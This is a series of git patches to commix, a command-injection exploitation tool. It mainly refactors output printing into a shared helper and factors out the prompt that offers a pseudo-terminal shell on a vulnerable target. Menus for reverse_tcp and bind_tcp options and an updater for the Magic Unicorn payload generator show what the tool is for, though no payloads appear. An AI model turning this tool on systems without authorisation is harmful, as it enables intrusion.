sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.SUCCESS_STATUS) + info_msg = "Installing " + settings.APPLICATION info_msg += " to /usr/bin/" + settings.APPLICATION + ". " - sys.stdout.write(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) try: with open("/usr/bin/" + settings.APPLICATION, 'w') as f: f.write('#!/bin/bash\n') f.write('cd /usr/share/commix/ && ./commix.py "$@"\n') subprocess.Popen("chmod +x /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.SUCCESS_STATUS) + #Create the Output Directory try: @@ -148,19 +148,19 @@ def installer(): error_msg = str(err_msg).split("] ")[1] + "." except IndexError: error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) raise SystemExit() info_msg = "The installation is finished! Type '" info_msg += settings.APPLICATION + "' to launch it." - print(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) else : - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "The installer is not designed for any other system other than Linux. " err_msg += "Please install manually: " + packages + dependencies - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() # eof \ No newline at end of file diff --git a/src/utils/logs.py b/src/utils/logs.py index ba598c88e6..4afd94ecfc 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -44,7 +44,7 @@ def path_creation(path): error_msg = str(err_msg).split("] ")[1] + "." except IndexError: error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) raise SystemExit() """ @@ -56,12 +56,12 @@ def logs_filename_creation(url): if os.path.isdir(menu.options.output_dir): output_dir = menu.options.output_dir warn_msg = "Using '" + output_dir + "' for output directory." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: output_dir = tempfile.mkdtemp(prefix=settings.APPLICATION) warn_msg = "Unable to create output directory '" + menu.options.output_dir + "'. " warn_msg += "Using temporary directory '" + output_dir + "' instead." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: output_dir = settings.OUTPUT_DIR path_creation(os.path.dirname(settings.OUTPUT_DIR)) @@ -93,7 +93,7 @@ def create_log_file(url, output_dir): settings.SESSION_FILE = menu.options.session_file else: err_msg = "The provided session file ('" + menu.options.session_file + "') does not exist." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: settings.SESSION_FILE = logs_path + "session.db" @@ -118,7 +118,7 @@ def create_log_file(url, output_dir): error_msg = str(err_msg.args[0]).split("] ")[1] + "." except: error_msg = str(err_msg.args[0]) + "." - print(settings.print_critical_msg(error_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) raise SystemExit() if not menu.options.output_dir: @@ -186,7 +186,7 @@ def logs_notification(filename): # Save command history. if not menu.options.no_logging: info_msg = "Fetched data logged to text files under '" + filename + "'." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ Log all HTTP traffic into a textual file. diff --git a/src/utils/menu.py b/src/utils/menu.py index d3ab082c25..27fbab88de 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -30,7 +30,7 @@ The commix's banner. """ def banner(): - print(r""" __ + settings.print_data_to_stdout(r""" __ ___ ___ ___ ___ ___ ___ /\_\ __ _ /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + settings.COLOR_VERSION + r""" /\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/> ) to quit commix. @@ -693,7 +693,7 @@ def os_shell_options(): The "reverse_tcp" available options. """ def reverse_tcp_options(): - print("""""" + Style.BRIGHT + """Available 'reverse_tcp' options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout("""""" + Style.BRIGHT + """Available 'reverse_tcp' options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. @@ -705,7 +705,7 @@ def reverse_tcp_options(): The "bind_tcp" available options. """ def bind_tcp_options(): - print("""""" + Style.BRIGHT + """Available 'bind_tcp' options:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout("""""" + Style.BRIGHT + """Available 'bind_tcp' options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. @@ -717,7 +717,7 @@ def bind_tcp_options(): The available mobile user agents. """ def mobile_user_agents(): - print("""""" + Style.BRIGHT + """Available smartphones HTTP User-Agent headers:""" + Style.RESET_ALL + """ + settings.print_data_to_stdout("""""" + Style.BRIGHT + """Available smartphones HTTP User-Agent headers:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for BlackBerry Z10. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for Samsung Galaxy S7. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' for HP iPAQ 6365. diff --git a/src/utils/purge.py b/src/utils/purge.py index 9d01169288..ff15228fd5 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -38,16 +38,11 @@ def purge(): directory = settings.OUTPUT_DIR if not os.path.isdir(directory): warn_msg = "Skipping purging of directory '" + directory + "', as it does not exist." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return - info_msg = "Purging content of directory '" + directory + "'" - if not settings.VERBOSITY_LEVEL != 0: - info_msg += "." - else: - info_msg += ".\n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - + info_msg = "Purging content of directory '" + directory + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + # Purging content of target directory. dir_paths = [] file_paths = [] @@ -58,8 +53,8 @@ def purge(): # Changing file attributes. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Changing file attributes." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + failed = False for file_path in file_paths: try: @@ -67,17 +62,12 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) # Writing random data to files. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Writing random data to files. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + failed = False for file_path in file_paths: try: @@ -87,17 +77,12 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) # Truncating files. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Truncating files." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + failed = False for file_path in file_paths: try: @@ -106,17 +91,12 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) # Renaming filenames to random values. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Renaming filenames to random values." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + failed = False for file_path in file_paths: try: @@ -124,17 +104,12 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) # Renaming directory names to random values. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Renaming directory names to random values." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + failed = False dir_paths.sort(key=functools.cmp_to_key(lambda x, y: y.count(os.path.sep) - x.count(os.path.sep))) for dir_path in dir_paths: @@ -143,27 +118,19 @@ def purge(): except: failed = True pass - if settings.VERBOSITY_LEVEL != 0: - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) # Deleting the whole directory tree. if settings.VERBOSITY_LEVEL != 0: debug_msg = "Deleting the whole directory tree." - sys.stdout.write(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: failed = False os.chdir(os.path.join(directory, "..")) shutil.rmtree(directory) except OSError as e: failed = True - if not failed: - print(settings.SINGLE_WHITESPACE) - else: - print(settings.SINGLE_WHITESPACE) + if failed: err_msg = "Problem occurred while removing directory '" + directory + "'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) # eof \ No newline at end of file diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 381e3210f0..7bc248ea75 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -45,11 +45,11 @@ def ignore(url): if os.path.isfile(settings.SESSION_FILE): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Ignoring the stored session from the session file due to '--ignore-session' switch." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) else: if settings.VERBOSITY_LEVEL != 0: warn_msg = "Skipping ignoring the stored session, as the session file not exist." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Flush session. @@ -58,7 +58,7 @@ def flush(url): if os.path.isfile(settings.SESSION_FILE): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Flushing the stored session from the session file." - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: conn = sqlite3.connect(settings.SESSION_FILE) tables = list(conn.execute("SELECT name FROM sqlite_master WHERE type is 'table'")) @@ -66,13 +66,13 @@ def flush(url): conn.commit() conn.close() except sqlite3.OperationalError as err_msg: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "Unable to flush the session file." + str(err_msg).title() - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) else: if settings.VERBOSITY_LEVEL != 0: warn_msg = "Skipping flushing the stored session, as the session file not exist." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Clear injection point records @@ -88,7 +88,7 @@ def clear(url): conn.commit() conn.close() except sqlite3.OperationalError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) except: settings.LOAD_SESSION = False return False @@ -122,7 +122,7 @@ def injection_point_importation(url, technique, injection_type, separator, shell except sqlite3.OperationalError as err_msg: err_msg = str(err_msg)[:1].upper() + str(err_msg)[1:] + "." err_msg += " You are advised to rerun with switch '--flush-session'." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except sqlite3.DatabaseError as err_msg: @@ -162,7 +162,7 @@ def applied_techniques(url, http_request_method): applied_techniques = ''.join(list(set(values))) return applied_techniques except sqlite3.OperationalError as err_msg: - #print(settings.print_critical_msg(err_msg)) + #settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) settings.LOAD_SESSION = False return False except: @@ -192,7 +192,7 @@ def applied_levels(url, http_request_method): return session[0] except sqlite3.OperationalError as err_msg: - #print(settings.print_critical_msg(err_msg)) + #settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) settings.LOAD_SESSION = False return False except: @@ -266,7 +266,7 @@ def injection_point_exportation(url, http_request_method): no_such_table = True pass except sqlite3.OperationalError as err_msg: - #print(settings.print_critical_msg(err_msg)) + #settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) settings.LOAD_SESSION = False return False except: @@ -318,7 +318,7 @@ def notification(url, technique, injection_type): common.invalid_option(settings.LOAD_SESSION) pass except sqlite3.OperationalError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) except (KeyboardInterrupt, SystemExit): raise @@ -361,7 +361,7 @@ def store_cmd(url, cmd, shell, vuln_parameter): conn.commit() conn.close() except sqlite3.OperationalError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) except (TypeError, AttributeError) as err_msg: pass @@ -415,7 +415,7 @@ def import_valid_credentials(url, authentication_type, admin_panel, username, pa conn.commit() conn.close() except sqlite3.OperationalError as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) except sqlite3.DatabaseError as err_msg: checks.error_loading_session_file() diff --git a/src/utils/settings.py b/src/utils/settings.py index 14605a330b..d4ca59ec86 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -191,6 +191,15 @@ def command_execution_output(shell): result = Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL return result +""" +Print data to stdout +""" +def print_data_to_stdout(data): + if END_LINE.CR not in data and data != "." and data != " (done)": + data = data + END_LINE.LF + sys.stdout.write(data) + sys.stdout.flush() + # argv checks def sys_argv_checks(): tamper_index = None @@ -222,17 +231,17 @@ def sys_argv_errors(): # Check for illegal (non-console) quote characters. if len(sys.argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((sys.argv[i].split('=', 1)[-1].strip() or ' ')[0], sys.argv[i][-1])): err_msg = "Illegal (non-console) quote characters ('" + sys.argv[i] + "')." - print(print_critical_msg(err_msg)) + print_data_to_stdout(print_critical_msg(err_msg)) raise SystemExit() # Check for illegal (non-console) comma characters. elif len(sys.argv[i]) > 1 and u"\uff0c" in sys.argv[i].split('=', 1)[-1]: err_msg = "Illegal (non-console) comma character ('" + sys.argv[i] + "')." - print(print_critical_msg(err_msg)) + print_data_to_stdout(print_critical_msg(err_msg)) raise SystemExit() # Check for potentially miswritten (illegal '=') short option. elif re.search(r"\A-\w=.+", sys.argv[i]): err_msg = "Potentially miswritten (illegal '=') short option detected ('" + sys.argv[i] + "')." - print(print_critical_msg(err_msg)) + print_data_to_stdout(print_critical_msg(err_msg)) raise SystemExit() # argv checks @@ -247,7 +256,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "78" +REVISION = "79" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1159,7 +1168,13 @@ class AUTH_TYPE(object): HTTP_ERROR_CODES_SUM = [] # End line -END_LINE = ["\r", "\n", "\r\n"] +class END_LINE: + CR = "\r" + LF = "\n" + CRLF = "\r\n" + +# List of end lines +END_LINES_LIST = [attr for attr in dir(END_LINE) if not callable(getattr(END_LINE, attr)) and not attr.startswith("__")] # Check for updates on start up. CHECK_FOR_UPDATES_ON_START = True diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index be027717c8..27af77220b 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -78,9 +78,9 @@ def grab_ip_addr(): except socket_error as err_msg: if errno.ECONNREFUSED: warn_msg = "Internet seems unreachable." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: - print(settings.print_critical_msg(str(err_msg)) + "\n") + settings.print_data_to_stdout(settings.print_critical_msg(str(err_msg))) raise SystemExit() class Handler(_BaseHTTPServer.BaseHTTPRequestHandler): diff --git a/src/utils/update.py b/src/utils/update.py index a9b17d7027..31c68fced2 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -51,15 +51,15 @@ def revision_num(): match = re.search(r"(?i)[0-9a-f]{32}", stdout or "") rev_num = match.group(0) if match else None info_msg += " the latest revision '" + str(rev_num[:7]) + "'." - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) else: - sys.stdout.write(Fore.MAGENTA + "\n" + stdout + Style.RESET_ALL) + settings.print_data_to_stdout(Fore.MAGENTA + "\n" + stdout + Style.RESET_ALL) end = time.time() how_long = int(end - start) info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(how_long)) + "." - print(settings.print_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) except: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) raise SystemExit() """ @@ -69,19 +69,19 @@ def updater(): time.sleep(1) info_msg = "Checking requirements to update " info_msg += settings.APPLICATION + " from GitHub repository. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if menu.options.offline: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "You cannot update commix via GitHub without access on the Internet." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if windows if settings.IS_WINDOWS: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "For updating purposes on Windows platform, it's recommended " err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: try: @@ -91,34 +91,34 @@ def updater(): if requirments.do_check(requirment) == True : if settings.VERBOSITY_LEVEL != 0: debug_msg = "commix will try to update itself using '" + requirment + "' command." - print(settings.SINGLE_WHITESPACE) - print(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) # Check if ".git" exists! else: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if os.path.isdir("./.git"): info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) " info_msg += "version. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + revision_num() - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) os._exit(0) else: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "The '.git' directory not found. Do it manually: " err_msg += Style.BRIGHT + "'git clone " + settings.GIT_URL err_msg += " " + settings.APPLICATION + "' " - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = requirment + " not found." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except Exception as err_msg: - print("\n" + settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout("\n" + settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -158,20 +158,20 @@ def unicorn_updater(current_version): APPLICATION_NAME = "TrustedSec's Magic Unicorn" info_msg = "Checking requirements to update " info_msg += APPLICATION_NAME + " from GitHub repository. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if menu.options.offline: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "You cannot update TrustedSec's Magic Unicorn " err_msg += "via GitHub without access on the Internet." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if windows if settings.IS_WINDOWS: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "For updating purposes on Windows platform, it's recommended " err_msg += "to use a GitHub client for Windows (http://windows.github.com/)." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() else: try: @@ -179,8 +179,8 @@ def unicorn_updater(current_version): # Check if 'git' is installed. requirments.do_check(requirment) if requirments.do_check(requirment) == True : - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() + settings.print_data_to_stdout(settings.SUCCESS_STATUS) + if len(current_version) == 0: unicorn_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '../', 'thirdparty/')) os.chdir(unicorn_path) @@ -191,17 +191,17 @@ def unicorn_updater(current_version): info_msg += "version. " subprocess.Popen("git clone https://github.com/trustedsec/unicorn", shell=True).wait() os.chdir("unicorn") - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + revision_num() else: - print(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = requirment + " not found." - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() except Exception as err_msg: - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() """ @@ -225,10 +225,10 @@ def check_unicorn_version(current_version): if len(current_version) != 0: warn_msg = "Current version of TrustedSec's Magic Unicorn (" + current_version + ") seems to be out-of-date." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: warn_msg = "TrustedSec's Magic Unicorn seems to be not installed." - print(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) while True: if len(current_version) == 0: action = "install" diff --git a/src/utils/version.py b/src/utils/version.py index 9f1ce1a33a..9ee77e1351 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -20,7 +20,7 @@ Show version number and exit. """ def show_version(): - print(settings.VERSION) + settings.print_data_to_stdout(settings.VERSION) raise SystemExit() """ @@ -32,5 +32,5 @@ def python_version(): warn_msg = "Deprecated Python version detected: " warn_msg += PYTHON_VERSION + ". " warn_msg += "You are advised to re-run with Python 3." - print(settings.print_bold_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) #raise SystemExit() From 8f8d7c86befa49a0aa243e223fce48ba95bec61c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 1 Jul 2024 09:08:41 +0300 Subject: [PATCH 0476/1023] Fixes https://github.com/commixproject/commix/issues/938 --- src/core/injections/controller/parser.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index a004bcb361..412436fdf1 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -77,7 +77,7 @@ def invalid_data(request): else: invalid_data(request_file) - if menu.options.requestfile: + if menu.options.requestfile or menu.options.logfile: c = 1 request_headers = [] request_lines = request.split("\n") diff --git a/src/utils/settings.py b/src/utils/settings.py index d4ca59ec86..ace6883db4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -256,7 +256,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "79" +REVISION = "80" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From fb46e9a8bdbf0eaa887e99c9b8af67363a384cc0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 2 Jul 2024 07:15:27 +0300 Subject: [PATCH 0477/1023] Code refactoring --- .../blind/techniques/time_based/tb_handler.py | 8 +--- src/core/injections/controller/checks.py | 14 ++++++ .../techniques/classic/cb_handler.py | 8 +--- .../techniques/eval_based/eb_handler.py | 8 +--- .../techniques/file_based/fb_handler.py | 8 +--- .../techniques/tempfile_based/tfb_handler.py | 6 +-- src/core/modules/shellshock/shellshock.py | 8 +--- src/utils/settings.py | 46 +++++++++++-------- 8 files changed, 46 insertions(+), 60 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 631271bd24..f5e70170ad 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -316,13 +316,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r while True: if go_back == True: break - message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.CRAWLING: - settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) - if not settings.STDIN_PARSING: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) + gotshell = checks.enable_shell(url) if gotshell in settings.CHOICE_YES: settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 8c6daf0fe7..82393f267a 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -789,6 +789,20 @@ def remove_empty_lines(content): pass return content +""" +Enable pseudo-terminal shell +""" +def enable_shell(url): + message = settings.CHECKING_PARAMETER + " is vulnerable. " + message += "Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.CRAWLING: + settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) + if not settings.STDIN_PARSING: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) + return gotshell + """ Check 'os_shell' options """ diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index e2b74a8529..955b5147fd 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -209,13 +209,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ while True : if go_back == True: break - message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.CRAWLING: - settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) - if not settings.STDIN_PARSING: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) + gotshell = checks.enable_shell(url) if gotshell in settings.CHOICE_YES: settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 98524a86c4..2eac2f668f 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -245,13 +245,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ while True: if go_back == True: break - message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.CRAWLING: - settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) - if not settings.STDIN_PARSING: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) + gotshell = checks.enable_shell(url) if gotshell in settings.CHOICE_YES: settings.print_data_to_stdout(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index f711bb3526..911192d8d5 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -423,13 +423,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if go_back == True: break - message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.CRAWLING: - 